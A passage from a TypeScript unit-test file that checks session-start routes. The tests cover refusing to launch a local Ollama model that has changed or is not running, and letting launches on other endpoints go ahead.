vi.spyOn(Session.prototype, 'restartCli').mockResolvedValue(true);
app = Fastify({ logger: false });
await app.register(fastifyCookie);
ctx = createMockRouteContext();
registerSessionRoutes(app, ctx);
installRouteErrorHandler(app);
await app.ready();
});
afterEach(async () => {
await app.close();
vi.restoreAllMocks();
safeRmHomeTree(CASES_DIR);
});
it('asks the install service, and with no refusal the session starts on the local model', async () => {
const before = ctx.sessions.size;
const res = await quickStart({
caseName: 'lm-ok',
mode: 'claude',
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(res.statusCode).toBe(200);
expect(res.json().sessionId).toBeTruthy();
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b');
expect(ctx.sessions.size).toBe(before + 1);
const session = ctx.sessions.get(res.json().sessionId) as unknown as Session;
expect(session.customModel).toMatchObject({ endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
});
it('a changed model refuses the launch in one plain sentence, and no session is created', async () => {
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
const before = ctx.sessions.size;
const res = await quickStart({
caseName: 'lm-changed',
mode: 'claude',
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' });
expect(ctx.sessions.size).toBe(before);
expect(Session.prototype.startInteractive).not.toHaveBeenCalled();
expect(fetchMock).not.toHaveBeenCalled();
});
it('a launch without a custom model never asks', async () => {
const res = await quickStart({ caseName: 'lm-plain', mode: 'claude' });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
});
describe('with the real install service', () => {
it('an installed model whose runtime is not running is not launched', async () => {
writeInstalledState();
guard.real = await realService();
const before = ctx.sessions.size;
const res = await quickStart({
caseName: 'lm-stopped',
mode: 'claude',
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(res.json()).toEqual({
success: false,
error: 'The model on this Mac is not running. Start it first.',
errorCode: 'OPERATION_FAILED',
});
expect(ctx.sessions.size).toBe(before);
});
it('a launch on any other endpoint goes on as before', async () => {
writeInstalledState();
guard.real = await realService();
const res = await quickStart({
caseName: 'lm-other',
mode: 'claude',
customModel: { endpointId: 'ep1', modelId: 'qwen3' },
});
expect(res.statusCode).toBe(200);
expect(res.json().sessionId).toBeTruthy();
expect(res.json().success).not.toBe(false);
});
});
});
File diff suppressed because it is too large. Load diff